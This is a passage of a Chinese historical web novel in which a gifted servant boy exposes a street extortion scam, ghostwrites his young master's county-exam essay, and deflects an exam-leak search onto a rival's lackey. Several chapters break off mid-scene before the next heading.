身穿杭绸直裰,腰系玉带,
手持一柄泥金折扇,顾盼之间,
颇有几分目中无人的架势。
“是孙志远孙公子!”
“果然是他!
听说他可是咱们县今年案首的热门人选!”
“孙家可是出了名的书香门第,
他祖父做过知州呢!”
“瞧他那气度,果然不凡!”
周围的议论声嗡嗡响起,充满了羡慕和巴结。
孙志远显然很享受这种众星捧月的感觉,
折扇轻摇,嘴角噙着淡淡的笑意,
与身旁同伴高谈阔论,
内容无非是经义文章,
语气却带着居高临下的点评意味。
“…依我看,此次考题必出自《孟子》,
‘民为贵’一章尤需留意。
只是那些乡下塾师,
怕是连朱注都讲不明白,
教出来的学生,
能写出什么像样东西?
不过是滥竽充数,
徒耗考官精神罢了。”
孙志远声音不大,
却清晰地传入附近几人耳中,
带着明显的优越感和对寒门学子的鄙夷。
他身旁几人立刻附和:
“孙兄高见!那些泥腿子,
识得几个字便想来撞大运,实乃有辱斯文!”
这话语刺耳,连一旁几个衣着寒酸的学子都听得面色发白,敢怒不敢言。
张诚这草包却浑然不觉气氛微妙,
反而因为看到“风云人物”而有些兴奋,
抻着脖子往前凑,似乎想混个脸熟。
孙志远的目光漫不经心地扫过人群,
恰好落在努力往前挤的张诚和他身后低着头的苏惟瑾身上。
看到张诚那暴发户般的穿着和蠢笨的模样,
他眼中掠过一丝毫不掩饰的轻蔑,
再看到苏惟瑾那身标准的仆役打扮,
嘴角那抹讥诮更是加深了几分。
他“唰”地一声合上折扇,
用扇柄虚点了点张诚的方向,
声音提高了几分,带着毫不客气的调侃和嘲讽:
“咦?这不是张兄吗?
怎么,今日也来一试身手?”
他不等张诚回答,
目光又扫过苏惟瑾,嗤笑一声。
“张兄,今日这考场之内,
比的可是锦绣文章,圣贤道理,
可不是比谁家的书童更伶俐、更能“干”啊。
哈哈哈哈哈!”
他特意把干这个字的语音加重并且拖长。
他身后的狐朋狗友立刻爆发出一阵哄笑,
周围也有不少巴结孙家的人跟着窃笑起来。
张诚那张胖脸瞬间涨成了猪肝色,
嘴唇哆嗦着,想要反驳,
却肚里空空,一句囫囵话也憋不出来,
只能“你…你…”地干瞪眼,
窘迫得恨不得找个地缝钻进去。
他平日在那帮混混面前还能耍耍威风,
但在孙志远这种真正的“书香门第”面前,
那股自卑和虚怯立刻暴露无遗。
苏惟瑾的头垂得更低,
宽大的袖子里,手指微微蜷缩了一下,
指甲几乎掐进掌心。
孙志远那轻蔑的目光和嘲讽的话语,
像一根根冰冷的针,
刺在他早已千锤百炼的神经上。
不是因为自己被羞辱,
而是那种高高在上、
将他人尊严践踏脚下的阶级傲慢,
让他从灵魂深处感到厌恶。
但他脸上的表情没有丝毫变化,
依旧是那副恭顺、卑微、甚至带着点麻木的模样。
所有的锋芒、所有的冷意,
都被完美地收敛在低垂的眼睑之下。
超频大脑却已将“孙志远”这个名字、
他的容貌、声音、家世背景、性格特点,
以及此刻的羞辱,
清晰地烙印在记忆库的最深处,
并打上了一个鲜明的标签——敌人。
很好。
又一个需要踩在脚下的目标。
就在这时,考棚方向传来三声沉重的云板响。
“时辰到!考生准备入场!”
第20章 街头偶遇‘碰瓷\’戏,逻辑拆穿赢
县试的紧张气氛随着考生们涌入考棚而暂时隔绝在外,
广场上的人群却并未立刻散去,
依旧三三两两聚着,议论纷纷。
苏惟瑾懒得听张诚那些狐朋狗友吹牛扯淡,
便寻了个由头,
说是少爷吩咐再去买点上好的墨锭以备后用,溜出了人群。
沭阳县城的主街白日里总是热闹的。
店铺林立,叫卖声此起彼伏,
行人摩肩接踵。
苏惟瑾揣着张诚给的几钱银子,
目标明确地朝着城里最有名的“文宝斋”走去。
超频大脑自动规划着最短路径,
同时也不忘分出一部分算力,
记录着市井百态,丰富着对这个时代的认知。
正当他穿过一个相对拥挤的十字街口时,
前方一阵突如其来的骚动和哭嚎声吸引了他的注意,也堵住了去路。
只见一个穿着破旧短褂、头发花白的老汉跌坐在地,
拍着大腿,哭得涕泪横流,声音凄惨得能穿透半条街:
“哎哟喂!我的宝贝瓷瓶啊!
祖传的宝贝啊!
就这么给你撞碎了啊!
你让我可怎么活啊!没法活了呀!”
他面前的地上,
果然散落着一堆白底蓝花的瓷器碎片,
看起来颇有些年头的样子。
而被老汉哭嚎着揪住衣袖的,
是一个穿着绸缎、明显是外地客商打扮的中年男子。
那商人一脸惶急,额头冒汗,连连摆手解释:
“老丈!老丈您别这样!
我…我就是正常走路,
是您自己转身撞上来的啊!
这…这怎么能怪我呢?”
周围迅速围拢起一圈看热闹的百姓,
对着指指点点。
大多数人看到老汉那副凄惨可怜的模样,
又听得是“祖传宝贝”,
天生同情弱者的心理便占了上风,
纷纷出言指责那商人:
“你这人怎么这样?
撞碎了人家东西还不认账?”
“看打扮就是个有钱的老板,
赔点银子怎么了?”
“就是!老人家多可怜啊!
祖传的东西,可是无价之宝啊!”
“赔钱!必须赔钱!”
那外地商人百口莫辩,
急得面红耳赤,
却又挣脱不开老汉死死拽着他衣袖的手,
只能徒劳地重复:
“不是我撞的…真不是我啊…”
苏惟瑾停下脚步,冷眼旁观。
超频大脑瞬间启动,
如同高精度扫描仪,
将现场的一切细节纳入分析:
老汉哭声凄厉,
但眼角余光却不时瞟向围观人群的反应,
眼神里闪烁的不是悲痛,而是狡黠和算计。
地上那堆所谓“古董”碎片,
碎裂得过于“均匀”和“彻底”,
像是被人故意敲碎后撒在地上的,
而非自然撞击跌落形成的放射状裂纹。
几片较大的碎片断口边缘,
釉色显得过于“新亮”,
缺乏真正古瓷历经岁月应有的温润感和磨损痕迹。
那蓝花的画工也略显粗糙呆板,不像精品。
人群外围,有两个眼神游移、身材粗壮的汉子,
看似在看热闹,实则不时交换眼色,
身体微微前倾,隐隐将那商人围在中间,形成胁迫之势。
典型的“碰瓷”戏码!
而且还是个团伙作案,
专挑人生地不熟、看起来又有钱的外地商人下手。
眼看那商人快要被众人的唾沫和老汉的哭嚎逼得屈服,
准备破财消灾了。
苏惟瑾眉头微皱。
他不是圣母,但这等讹诈勒索的勾当,实在令人不齿。
就在商人颤抖着手准备往怀里掏钱袋的刹那,
一个清朗却带着几分少年稚气的声音突然响起,压过了现场的嘈杂:
“老丈,且慢。”
众人一愣,循声望去,
只见一个穿着朴素的青衣小厮从人群外围走了进来,
面容尚带稚嫩,眼神却异常平静澄澈。
那哭嚎的老汉也愣了一下,
随即哭得更凶了:
“你…你谁啊?别多管闲事!
我的宝贝瓶子啊…”
苏惟瑾不理他的哭闹,
走到那堆碎片前,蹲下身,
随手捡起几片较大的碎片,
仔细看了看,然后抬头看向那老汉,
语气平和,却带着一种不容置疑的逻辑力量:
“老丈,您说这是您祖传的古董瓷瓶?”
“当…当然是!”
老汉梗着脖子道。
“哦?”
苏惟瑾拿起一片碎片,
指着断口。
“那请问老丈,您这祖传宝贝,
是何时何地,由祖上哪位先人购入或是传下的?
出自哪个名窑?可有典故?”
“这…”
老汉被这突如其来的专业问题问得一懵,
他哪懂什么名窑典故,
支吾道。
“就…就是祖上传的…
我哪记得那么清楚!反正是好东西!”
“好东西?”
苏惟瑾嘴角勾起一丝淡淡的讥诮,
又拿起另一片碎片,
展示给周围的人群看。
“诸位乡亲请看,
若真是传了数代的老物件,
这碎片断裂之处,
釉面边缘应是温润含蓄,
甚至有些许自然的磨损旧痕。
可大家看看这片,
断口如此锋利崭新,釉光贼亮刺眼,
这像是埋土里几十年甚至上百年的东西吗?”
围观人群中有几个略懂些瓷器的人凑近一看,
果然如此,不禁面露疑色。
苏惟瑾不等老汉反驳,继续追击,
语速加快,逻辑清晰:
“再者,老丈,
您方才说是这位客商撞碎了您的瓶子。
可大家看看,这碎片散落一地,
范围如此之广,若真是撞击跌落,
碎片应是呈放射状分布,
主要集中在一侧。
可您看现在,这碎片撒得均匀无比,
倒像是被人从高处均匀倾倒在地一般。
这,又作何解释?”
他站起身,目光锐利地盯住那脸色开始发白的老汉:
“最后,老丈您哭得如此伤心欲绝,
可为何眼角连半点泪痕都无?
反倒是眼神闪烁,
不停打量这位客商的钱袋?
第21章 号舍之内,暗度陈仓计
县试考棚的号舍,
活像一排排密不透风的鸽子笼,
低矮逼仄,每间宽不过三尺,
进深仅四尺,高个子的考生连站直都难,只得蜷缩其中。
这“鸽子笼”以砖木简陋搭成,
一排数十间,巷陌纵横,仅容一人通过。
每间号舍内只有一块凹凸不平的木板充作桌案,
一个摇摇晃晃的小马扎,
以及墙角那个散发着刺鼻异味、
供考生方便的痰盂。
这便是大明科举最底层的竞技场
——童生试第一场,县试的考场。
童生试乃科举进阶之始,
分为县试、府试、院试三关。
这第一场县试,由本县知县主持,
连考五场,每日一场,黎明前点名入场,日暮交卷。
首场最为关键,
考四书文两篇、五经义一篇,
中者方可参加后续场次。
而“君子不器”正是首场的四书题之一,
看似简单,却最考较考生的见识与文思。
苏惟瑾本无资格踏入这考场。
他身负“贱籍”,按律不得参与科考。
然而,张家——本地颇有势力的豪绅,
为了那个不学无术的嫡子张诚能顺利过了这科举第一关,真是煞费苦心。
张老爷早已用大把银钱铺路,
打点了县衙上下。
他们寻了个由头,
将苏惟瑾冒籍在张家一个远房亲戚名下,
身份文牒做得天衣无缝,
又使钱让书办在登记造册时做了手脚,
准其入场,却暗中记下:
此考生成绩单列,
不参与评等排名
——换言之,苏惟瑾只是個影子,
考得再好,功名也不会落在他头上。
这一切,只为将他变成张诚案头的一支“活笔”。
是以,才有了眼前这精心安排的场面。
苏惟瑾按照事先打点好的安排,
果然被分在了张诚右侧的号舍。
两人之间只隔着一道薄薄的木板墙,
底下还有条宽不及掌的缝隙,
专供传递物品
——自然是给那些“有心人”行方便的。
张诚腆着肚子,
费了老牛劲才挤进自己的号舍,
那身新做的绸缎直裰立刻蹭上了一层灰。
他嫌弃地呸了两声,
又紧张兮兮地左右张望,
活像只偷油吃的老鼠。
直到瞥见隔壁苏惟瑾那瘦削的身影也安顿下来,
他才稍稍松了口气,
肥脸上挤出个油腻的得意笑容,
用气音哼道:
“算那书办懂事…喂,苏小九,给老子机灵点!”
苏惟瑾没理会他,
自顾自地将考篮放下。
空气沉闷污浊,
混合着陈年墨臭、汗臭、
尿溺的骚臭以及一种难以言喻的、
几乎凝成实质的紧张感。
他深吸一口气,
强迫自己忽略这令人窒息的环境不适,
将笔墨砚台一一取出,摆放整齐,
动作沉稳,不见丝毫慌乱。
超频大脑已进入待机状态,
好似上紧发条的精密仪器,
只待题目触发。
不多时,沉重的梆子声“咚——咚——”响起,
似如敲在每位考生的心尖上,
预示着考试正式开始。
甬道尽头传来脚步声,
有差役举着高高的题目牌在各排号舍间的狭窄通道缓慢走过,
确保每位考生都能看清。
那木牌上,浓墨书写,
赫然正是本次县试第一场的四书题——“子曰:君子不器”。
题目传来的一刹那,
张诚那边立刻响起一阵窸窣抓挠声,显然是急了。
这题目看似简单,实则内涵深远,
绝非他那个被酒色掏空的脑子能瞬间理解的。
“喂!听到了吗?
君子不器!快!快写!”
张诚压得极低却又急不可耐的声音从板壁下传来,
伴随着一张小纸条和一块上等徽墨被从缝隙底下飞快地塞了过来。
苏惟瑾面无表情地捡起纸条和墨锭。
超频大脑瞬间启动!
“君子不器”…
出自《论语·为政》。
孔子说,君子不能像器具那样,
只有某一方面的用途。
表层释义,君子应博学多才,
不局限于一门一艺。
深层引申…君子之道,
在于体用兼备,道术合一?
不,这还不够!
超频大脑疯狂运转,
无数相关的经义注解、
历代大儒的阐释、
乃至超越这个时代的思想火花激烈碰撞!
电光石火间,
一个更为大胆、
甚至有些“离经叛道”的切入点已然成型:
君子岂止不应局限于“才艺”之器?
更应超越“形而下”之器,
直指“形而上”之道!
君子当“器”而不“器”,
即具备经世致用之才能(器),
却不被具体才能、职位、
乃至时代局限(不器),
心中常怀大道,
能以不变应万变,融汇贯通,
乃至…推动时势!
这个见解,已然带上了几分心学“致良知”的影子,
甚至隐约触碰到了后来“经世致用”实学的边缘,
放在嘉靖初年,绝对算得上新颖甚至大胆!
用来帮一个纨绔子弟考县试,
简直是杀鸡用牛刀,
但唯有如此,
才能既确保文章出彩高中,
又能埋下他想要的“伏笔”!
思路既定,苏惟瑾眼中精光一闪,
毫不犹豫地铺纸磨墨。
那块张诚贡献的上好徽墨磨出的墨汁,
浓黑润泽,带着一丝不易察觉的松烟清香。
他下笔了。
笔走龙蛇,文思如江河奔涌,倾泻而下。
超频大脑精确控制着腕力,
每一个字的架构、每一笔的走势,
都经过了微调。
整体上看,字迹工整规范,
符合科举要求,
但细看之下,
笔画间却透着一股与他平日里刻意表现的“螃蟹体”截然不同的风骨力道,
只是在起笔收锋处,
又巧妙地融入了几分刻意模仿张诚那浮躁笔意的“抖擞”和“稚嫩”。
第22 突发事件,考题泄露疑云
苏惟瑾正不疾不徐地誊写着那份绝不出错的答卷,
号舍内只有笔尖划过粗糙纸张的沙沙声,
以及隔壁张诚那粗重又带着几分心虚的喘息声。
那肥猪抄得倒是起劲,只怕连自己写的是啥都没弄明白。
突然,考棚外原本规律的巡更脚步声变得急促杂乱起来,
隐约还夹杂着低沉的呵斥和争辩声。
这细微的变化如同石子投入死水,
瞬间打破了考场内压抑的宁静。
不少正在苦思冥想的考生都下意识地抬起头,
茫然地望向号舍入口的方向。
苏惟瑾笔尖一顿,超频大脑瞬间捕捉到这异常的氛围波动。
出事了?
很快,骚动非但没有平息,
反而像瘟疫般蔓延开来。
甬道尽头传来监考衙役压抑却清晰的低语:
“…真漏了?”
“…上头震怒…严查…”
这几个零碎的词语如同惊雷,
在极度安静的考棚里显得格外刺耳。
“考题泄露了!”
不知是哪个心理素质差的考生崩溃地尖叫了一声,
虽然立刻被巡场差役厉声喝止,
但这句话如同点燃了炸药桶的引线,
整个考棚“嗡”地一声就炸开了锅!
“什么?漏题了?”
“谁干的?这…这还怎么考?”
“肃静!全部肃静!
再有喧哗者,逐出考场!”
考官声嘶力竭的怒吼和差役们跑动弹压的脚步声混杂在一起,更添混乱。
隔壁号舍“咚”地一声闷响,
像是有人一屁股瘫坐在地。
随即传来张诚那公鸭嗓带着哭腔的、极力压低的哀嚎:
“完了…完了…死了死了…
肯定是发现了…爹啊…救命啊…”
这蠢货第一反应就是自己传递题目作弊的事发了,
吓得魂飞魄散,没当场尿裤子已经算他膀胱有力了。
苏惟瑾眉头紧锁,大脑飞速运转。
考题泄露?
看这动静,不像是针对张诚这种小虾米的。
那就是大规模的泄题事件?
这可是科举重罪!
考官们此刻必然如临大敌,
接下来的搜查恐怕会前所未有的严厉。
张诚那副做贼心虚的怂样,
根本经不起查,万一…
电光石火间,
一个大胆到近乎疯狂的念头劈入苏惟瑾的脑海!
危机?
不,这是天赐良机!
一个将水彻底搅浑,
甚至可能提前摆脱张诚控制的绝佳机会!
超频大脑瞬间计算推演出无数种可能性和应对方案,
最终锁定一条最险峻却也收益最大的路径
——祸水东引,借力打力!
他立刻行动。
首先,以最快速度将刚刚写好的那份正式答卷小心折好,
塞进考篮最底层,
用干粮和杂物仔细掩盖。
这东西干干净净,绝不能受牵连。
然后,他抽出几张粗糙的草稿纸。
眼神锐利如刀,笔走龙蛇,
开始在上面飞快地书写。
他写的并非完整文章,
而是一些零散的、
看似是破题构思的句子和词语,
大多围绕“君子不器”展开,
但角度刁钻,语句闪烁,
故意模仿一种正在苦苦构思、
不得其门而入的纠结状态。
关键来了!他在其中一张草稿纸的边缘,
用极其潦草、看似无意的笔触,
飞快地写下几个模糊的字眼,
像是无意间听到或记录的
——“南巷”、“旧砚”、“急付”。
这些词语与他刚刚传递给张诚的题目方式风马牛不相及,
但组合在一起,
却透着一股鬼祟的交易气息,
足以引人遐想!
写完,他又迅速将这张纸揉搓了几下,
扔在草稿纸堆的最上面,
让它看起来像是被烦躁丢弃的废稿。
做完这一切,
他深吸一口气,
将表情调整到与周围考生一样的惶恐不安,
甚至还带着几分恰到好处的茫然,
仿佛也被这突如其来的变故吓到了,
竖着耳朵紧张地关注外面的动静,
手下意识地将那些做了手脚的草稿纸往桌案里推了推,
一副欲盖弥彰的样子。
果然,不到一炷香的功夫,
一队神色冷峻、带着煞气的差役在一个面沉如水的考官带领下,
开始逐排号舍进行突击检查,
力度远比开考前的例行检查要严厉得多。
他们不仅仔细核对考生的身份、
搜检考篮,甚至开始翻看考生的草稿纸!
“抬头!所有稿纸不得遮掩!”
“有无夹带?
主动交出可从轻发落!”
严厉的呵斥声伴随着考生们紧张的吸气声,
气氛凝重得能拧出水来。
隔壁张诚的号舍里传来更大的动静,
那肥猪的哭腔都带上了颤音:
“官…官爷…没…没有啊…
我什么都没…”
接着是考篮被粗暴翻动、
纸张哗啦作响的声音。
苏惟瑾甚至能想象出张诚那面如死灰、抖如筛糠的怂包样。
很快,检查到了苏惟瑾这里。
那考官眼神锐利地扫过他略显稚嫩却强作镇定的脸。
两名差役毫不客气地翻检他的考篮,
东西被一件件拿出。
苏惟瑾配合地露出紧张神色,
目光却“不经意”地瞟向那堆显眼的草稿纸。
一个差役注意到了他的目光,
立刻伸手抓过那堆草稿,
快速翻看。
当看到最上面那张被揉搓过、
写着可疑字眼的废稿时,
差役的动作明显顿了一下,
眼神变得警惕起来。
他仔细看了看那几个模糊的字,
又瞥了一眼苏惟瑾,
然后将那张纸递给了旁边的考官。
考官接过,目光如电,
在那几个词上停留了片刻,
又扫过其他草稿纸上那些看似苦思不得解的凌乱字句。
他眉头紧锁,似乎在权衡什么。
眼前这小厮年纪不大,穿着朴素,
像是大户人家的书童陪考,
表情惶恐却不失镇定,
与隔壁那个吓得快晕过去的胖子形成鲜明对比。
这些草稿纸上的内容,
更像是在努力构思却不得法,
边缘那几个词…
可疑,但又没头没尾,
第23章 移花接木,祸水东引
考场内的空气仿佛凝固成了黏稠的浆糊,
压得人喘不过气。
那队带着煞气的差役和面色铁青的考官,
如同嗅到血腥味的鬣狗,
搜查得越发仔细严苛。
每一丝异响,每一次紧张的吞咽,
都可能引来审视的目光。
果然,重点来了。
那考官显然对刚才苏惟瑾号舍里
那点“似是而非”的痕迹并未完全释疑,
连带对相邻的几个号舍也格外“关照”。
他们停在了张诚的号舍前。
“出来!考篮、稿纸全部拿出!”
差役厉声喝道。
只听隔壁“哐当”一声,
像是考篮被打翻,
接着是张诚那公鸭嗓发出的一声近乎哽咽的哀鸣,
音量都没压住:
“官…官爷…饶命啊…”
这蠢货!不打自招!
苏惟瑾心中一凛。
超频大脑瞬间判断:
完了,以张诚这脓包心性,
差役再多问两句,
估计能把他几岁尿裤子的事都抖出来,
连带自己也得玩完!
必须立刻行动!
就在这千钧一发之际,
苏惟瑾的目光“慌乱”地扫过考场,
像是被这严厉的阵仗吓破了胆,
视线“无意中”飘向了斜对面另一个号舍
——那是孙志远的一个狗腿子,
名叫钱痦子,因嘴角有颗带毛的大痦子而得名。
这家伙也是个不学无术的货色,
仗着孙家的势进来混资历,
开考后就没消停过,
小动作不断,
苏惟瑾的超频大脑早就将其异常行为记录在案。
苏惟瑾的目光
在钱痦子那同样惨白流汗的脸上
极其短暂地停留了一瞬,
快得如同错觉,
但又恰好能让那精明的考官眼角的余光捕捉到。
随即,他像是意识到失态,
猛地低下头,肩膀微微蜷缩,
双手却“下意识”地护住了自己桌案上那几张做了手脚的草稿纸,
身体还微微侧倾,仿佛想挡住隔壁的动静。
这一连串细微至极的表情和动作,
在高度紧张的搜查氛围下,被无限放大!
那考官本就因苏惟瑾之前的“可疑”草稿而心存疑虑,
此刻见他这般情状,
尤其是那“惊慌”一瞥和“欲盖弥彰”的保护姿态,
心中顿时疑窦丛生!
难道…真正的猫腻不在这个看似惶恐的小书童,
也不在隔壁这个快吓尿的胖子,
而是在…斜对面那个同样神色慌张、
动作僵硬的考生身上?
这小书童是看到了什么,
或者知道什么,才如此害怕又被牵连?
“你看什么?!”
考官猛地转头,厉声喝问苏惟瑾,
手指却几乎同时指向了斜对面的钱痦子。
“还有你!鬼鬼祟祟的!考篮拿出来!”
钱痦子正暗自庆幸火没烧到自己这边,
猛地被点名,吓得一哆嗦,
手里的笔都掉了,结结巴巴:
“大…大人…我…我没有啊…”
他那副做贼心虚的模样,
比张诚也好不到哪儿去,
瞬间吸引了全部火力!
搜查的重点立刻转移!
差役们如狼似虎地扑向钱痦子的号舍,
翻检得比刚才还要彻底。
钱痦子杀猪般的叫屈声和差役的呵斥声混杂在一起,
顿时吸引了全场注意。
隔壁张诚的号舍前,压力骤减。
那负责搜查的差役看着瘫软在地、
裤裆似乎都有些湿润的张诚,
嫌弃地皱了皱眉,草草又翻了两下,
没发现此刻最关键的、
直接涉及泄题的证据(因为泄题本就不是张诚干的),
便不耐烦地挥挥手:
“滚回去!老实点!”
张诚如蒙大赦,
连滚带爬地缩回号舍,
整个人像刚从水里捞出来,
脸色蜡白,呼哧带喘,眼神涣散,
显然还没从极度的恐惧中回过神来,
脑子里一片空白,
连抄了一半的文章都忘了。
时机到了!
苏惟瑾如同最敏锐的猎豹,
利用两边号舍木板墙的视觉死角,
以迅雷不及掩耳的速度,
将自己桌案上那份早已誊写好的、
干净整洁、绝无任何问题的“完美”答卷卷起。
同时,他压低声音,
用只有两人能听到的、
带着一丝急切和安抚的语调,
对隔壁说道:
“少爷!少爷!拿稳了!没事了!
快抄这个!干净的!”
惊魂未定的张诚此刻智商早已降为零,
完全是条件反射,
听到“没事了”、“快抄”这几个字,
如同抓住了救命稻草,
想都没想,就哆哆嗦嗦地从缝隙里伸出手,接过了那份卷子。
入手纸张光滑平整,字迹工稳,
与之前那张让他看得眼晕的枪文截然不同。
张诚此刻也顾不得细想这“干净”的答卷从何而来,
只知道官爷刚查过,这卷子没问题!
能救他的命!
他几乎是凭借着本能,
瘫坐在马扎上,颤抖着手,
开始照着这份新答卷拼命誊抄,
脑子里只有一个念头:
抄完它!交上去!就没事了!
苏惟瑾冷静地看着缝隙那边张诚慌乱抄袭的背影,
嘴角掠过一丝冰冷的笑意。
成了。
祸水成功东引至孙志远的狗腿子钱痦子身上。
那家伙本身就不干净,
经得起细查才怪。
就算最后查实泄题与他无关,
这一番折腾也够他喝一壶,
足以转移考官大部分的注意力。
而张诚,这个最大的破绽,
在极度惊吓后,
被他用一份“安全”的答卷稳住了,
并且会乖乖地将其作为“自己”的成果上交。
这份答卷完美无瑕,中规中矩,
正好符合张诚“临时抱佛脚、
超常发挥一点但又不至于太离谱”的预期,
绝不会再引起任何怀疑。
至于他自己?
第24章 放榜之日,张诚竟高中?
熬过了几日提心吊胆的等待,
沭阳县试放榜的日子终于到了。
县衙照壁前,
天还没亮透就已被人群围得水泄不通,
各式各样的脑袋攒动着,
伸长脖子,像极了被无形的手提着的鸭子,
眼巴巴等着那张决定许多人命运的黄纸贴上墙。
空气中弥漫着汗臭、廉价头油味和几乎凝成实质的焦虑。
有闭目祈祷的,有来回踱步念念有词的,
更有甚者,脸色白得跟刚刷的墙皮似的,
全靠身边人搀着才能站稳。
张诚也混在人群里,
但他可没往前挤。
他爹张员外倒是派了几个健仆给他开路,
但这肥少爷此刻心虚腿软,
哪有往日横行街市的威风?
他躲在家丁身后,肥脸上油汗涔涔,
小眼睛死死盯着那空荡荡的照壁,
嘴里不住嘀咕:
“完了完了…肯定完了…
要是被查出来…
爹非得扒了我的皮…”
他脑子里全是考场里
差役凶神恶煞的脸和钱痦子被拖出去的惨状,
能保住小命就不错了,哪还敢指望上榜?
孙志远则被一群跟班簇拥着,
站在不远处地势稍高的地方,
摇着一把折扇,故作潇洒,
但微微抖动的扇柄和不时瞥向照壁的急切眼神,
还是暴露了他内心的不平静。
他自信必中,甚至瞄准了前十,
此刻等的不是结果,
而是名次高低带来的风光。
苏惟瑾依旧是一身不起眼的青衣,
悄无声息地站在人群外围一棵老槐树的阴影下,
冷静地观察着这一切。
超频大脑自动过滤着周围的嘈杂,
分析着各种情绪反应。
他对结果毫不担心,
那场考场风波最终以钱痦子因夹带无关考题的私货被重罚、
革除功名而告终,
泄题一事似乎查无实据,
不了了之。
水已被搅浑,他的计划进行得异常顺利。
“来了来了!贴榜了!”
不知谁嚎了一嗓子,
人群瞬间如同炸开的油锅,
疯狂向前涌去!
差役拿着浆糊桶和长长的黄纸榜文,
板着脸分开人群,开始张贴。
一个个名字逐渐显露。
“啊!有我!有我!中了!”
一个瘦弱书生猛地跳起来,狂喜大喊,
随即眼泪鼻涕一起流,状若疯癫。
“唉…”
更多的则是叹息、失落、乃至压抑的啜泣。
名落孙山者,失魂落魄地挤出人群,背影寥落。
孙志远的名字很快出现在前列第七的位置上。
他嘴角终于露出满意的笑容,
折扇“啪”地一合,
享受着周围跟班和阿谀奉承之徒的恭贺,
眼神倨傲地扫视全场,仿佛已是官身。
张诚更加紧张了,几乎把家丁的衣服抓破。
他踮着脚,眯着小眼睛,
从后面一个个名字往前看,
越看心越凉。
没有!还是没有!他就知道!
就在他彻底绝望,
准备缩回家去思考怎么跟老爹交代时,
旁边一个家丁突然猛地一拍大腿,
声音都变了调:
“少…少爷!中了!您中了!!”
“中…中什么中!鬼嚎什么!”
张诚心烦意乱地骂道。
“榜上!您的名字!
您看啊!第四十九名!”
那家丁激动得手指乱戳。
张诚猛地一僵,
小眼睛瞬间瞪得溜圆,
几乎要凸出来。
他顺着家丁颤抖的手指方向,
拼命往前挤,
肥硕的身躯此刻爆发出惊人的潜力,
硬是撞开几个人,挤到了榜文前。
果然!
在长长名单的中后段,
清清楚楚地写着两个大字——张诚!
白纸黑字,大红官印盖着,千真万确!
一瞬间,张诚的大脑一片空白。
随即,一股无法形容的、极度狂喜的洪流冲垮了他所有的理智和恐惧!
“中了!哈哈!真中了!老子中了!!”
他猛地蹦了起来,
身上的肥肉浪涛般翻滚,
声音尖利得破了音,
一把抢过身边家丁手里的水烟袋,
胡乱挥舞着,脸上的肥肉挤作一团,狂笑不止。
“看到没有!看到没有!
老子是准秀才(童生)公了!
哈哈哈!我就说嘛!
区区县试,岂能难倒我张诚!”
他这突如其来的癫狂和那刺耳的宣言,
瞬间吸引了周围所有人的注意。
认识他、知道他底细的人,
有一个算一个,全都愣住了,
脸上的表情堪称精彩纷呈。
“张…张诚?
那个斗鸡走狗的张大少?
他…他能中?”
“第四十九名?吊车尾上去的?
这…这怎么可能?”
“莫非是重名?
沭阳县还有第二个叫张诚的考生?”
“屁的重名!你看他那德行!
不是他是谁?张家可是使了…”
最后说话的人被同伴赶紧捂住嘴,
但那意思,所有人都懂了。
一道道目光在狂喜忘形的张诚和那张黄榜之间来回逡巡,
充满了难以置信、嫉妒、以及深深的鄙夷。
尤其是那些寒窗苦读却名落孙山的学子,
眼睛都红了,盯着张诚,
恨不得从他身上剜块肉下来。
孙志远脸上的得意笑容瞬间凝固了。
他难以置信地看向榜尾张诚的名字,
又看看那状若疯癫的肥猪,
脸色一下子变得极其难看,像是生吞了只苍蝇。
张诚?这个连《论语》都背不全的废物?
居然和他孙志远同榜?
简直是奇耻大辱!
他手中的折扇捏得咯咯作响,
眼神阴鸷得能滴出水来。
他绝不相信张诚凭的是真本事!
苏惟瑾站在人群之外,
将这一切尽收眼底。
看着张诚那副小人得志的丑态,
看着周围人的震惊与鄙夷,
第25章 童生功名,管家变脸记
张家大宅这几日可谓是锣鼓喧天,
鞭炮齐鸣,差点把门口那对石狮子都给震活了。
不知道的还以为张家老爷六十大寿外加娶第十八房小妾呢。
究其根源,不过是咱们的张大少爷张诚,
踩着狗屎运,吊着车尾,混了个童生功名回来。
虽说童生只是科举路上最微不足道的一小块垫脚石,
离做官差了十万八千里,
但在张家这土财主眼里,
已经是祖坟冒青烟、文曲星斜眼瞅了一下的大事!
张员外乐得见牙不见眼,
连着三天大摆筵席,
恨不得拿个喇叭对着沭阳县城日夜广播:
我老张家的崽,是个读书种子啦!
府里上下,自然也是一片“欢腾”。
下人们走路都带风,
说话嗓门都高了八度,
仿佛不是少爷中了,
而是他们自个儿中了似的。
赏钱也撒了下来,
虽然到底层仆役手里已薄得像张纸,
但也足够换来几天真心实意的谄媚笑容。
在这片虚假的繁荣中,
苏惟瑾依旧每日洒扫庭院,
似一切外面的喧嚣与他毫无干系。
只是这日,他正拿着扫帚清理书房外廊下的落叶,
一个略显干瘦的身影挡在了他面前。
是管家张福。
张福今日穿了件崭新的藏青色缎面夹袄,
头发梳得油光水滑,一丝不乱。
他背着双手,下巴微微抬着,
用那双惯于算计的小眼睛上下打量着苏惟瑾,眼神复杂得很。
“咳,”
张福清了清嗓子,
脸上努力挤出一个算是和蔼的表情,
只可惜那表情像是刻在了干瘪的橘皮上,
僵硬又别扭。
“小九啊,这几日辛苦你了。”
苏惟瑾停下动作,垂手躬身,
依旧是那副低眉顺眼的模样:
“福伯言重了,小的分内之事,
不敢称辛苦。”
心里却跟明镜似的:
黄鼠狼给鸡拜年,来了。
果然,张福往前踱了一步,
声音压低了些,带着几分故作熟稔的腔调:
“少爷这次能高中,光耀门楣,
你…跟在少爷身边伺候笔墨,
没有功劳,也有苦劳。
老爷和夫人心里,都是清楚的。”
这话说得,可谓滴水不漏。
既点了苏惟瑾的“功劳”,
又把最大的帽子稳稳扣在张诚自己头上。
苏惟瑾心里冷笑,
脸上却适当地露出一丝“惶恐”和“感激”:
“福伯折煞小人了!
少爷天资聪颖,自有文曲星庇佑,方能高中。
小人愚钝,不过是在旁端茶递水,
岂敢居功?
实在是少爷的本事!”
一番马屁拍得行云流水,
毫无心理负担。
张福对这番“懂事”的回答似乎很满意,
脸上的橘皮褶子都舒展了些许。
他点了点头,语气又“亲切”了几分:
“嗯,懂得本分就好。
以后啊,好好伺候少爷,
少不了你的好处。
少爷眼看就要准备府试了,
正是用人之际…”
话说到这儿,他话音突然一顿,
那点刚挤出来的“亲切”瞬间收敛,
小眼睛里闪过一丝精明的警告,
声音也沉了下去,
带着一股不容置疑的压迫感:
“但是,小九啊…”
他身体微微前倾,目光锐利地盯着苏惟瑾:
“有些话,我得说在前头。
